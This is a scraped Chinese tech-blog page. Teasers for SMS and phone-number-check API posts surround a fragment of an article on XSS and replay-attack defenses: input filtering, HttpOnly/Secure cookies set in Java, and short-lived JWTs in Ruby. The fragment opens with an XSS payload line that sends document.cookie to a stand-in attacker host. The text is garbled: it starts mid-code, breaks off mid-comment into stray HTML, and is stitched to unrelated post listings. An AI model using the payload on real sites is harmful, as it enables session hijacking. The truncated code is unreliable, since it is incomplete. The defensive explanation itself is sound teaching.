-
[置顶]短信API接口,短信接口怎么对接
本文讲述了短信API接口,短信接口怎么对接。一、关于短信API接口第三方短信服务商提供短信API接口,短信一般是编辑好内容,调用接口发送即可。我们这里提供一个注册好的账号,其中短信API服务器地址为:...
-
[置顶]热门好用的空号检测API推荐,空号检测API数据接口
本文讲述了热门好用的空号检测API推荐,空号检测API数据接口。空号检测,也称号码检测,空号过滤,号码筛选等,是基于运营商大数据及流量使用情况返回手机号码状态,比如 实号、空号 等。今天就给大家推荐一...
-
[置顶]语音验证码短信原理的深入解析
语音合成技术语音合成技术(Text-to-Speech,TTS)是一种将文本信息转换为语音输出的技术。它通过计算机算法和声音合成器,将文本中的文字逐个转换为语音信号,使计算机能够以自然语言的方式朗读出...
-
a.src='https://hackmeplz.com/yourCookies.png/?cookies='+document.cookie;return a}())"
这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
XSS攻击代码过滤
移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
采用HTTP-Only Cookies
通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
如何在Java中设置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie设置HttpOnly
http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
建议升级Tomcat7.0,它已经实现了Servlet3.0
http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html或者通过这样来设置:
//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
如何防范Replay Attacks
所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:
1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:
User ID
共享秘钥
客户端
auth_header = JWT.encode({
user_id: 123,
iat: Time.now.to_i, # 指定token发布时间
exp: Time.now.to_i + 2 # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;
}, "
") RestClient.get("http://api.example.com/", authorization: auth_header)
服务端
class ApiController < ActionController::Base
attr_reader :current_user
before_action :set_current_user_from_jwt_token
def set_current_user_from_jwt_token
# Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查
# the signature. Note JWT tokens are *not* encrypted, but signed.
payload = JWT.decode(request.authorization, nil, false)
# Step 2: 检查该用户是否存在于数据库
@current_user = User.find(payload['user_id'])
# Step 3: 检查Token签名是否正确.
JWT.decode(request.authorization, current_user.api_secret)
# Step 4: 检查 "iat" 和"exp" alt="浅谈基于Token的WEB后台认证机制" title="浅谈基于Token的WEB后台认证机制" width="200" height="150">
-
java判断是否为图片的步骤和方法
java判断是否为图片的步骤和方法今天看到有个小伙伴问java如何判断上传的东西是否是图片ClUBkpQ,刚好有时间就给小伙伴解决一下如何判断的方法。1、打开Eclipse,在项目工程一栏,也就是左边...
-
-
java连连看游戏菜单设计
java连连看游戏菜单设计本文实例为大家分享了java连连看游戏菜单的具体实现代码,供大家参考,具体内容如下先写GUI。首先初始化框架,菜单,按钮,需要把菜单和按钮都添加在框架中。注意添加的顺序,首先...
-
-
Java上传文件错误java.lang.NoSuchMethodException的解决办法
Java上传文件错误java.lang.NoSuchMethodException的解决办法错误详情:java.lang.NoSuchMethodException: [Lorg.springfram...
-
-
-
-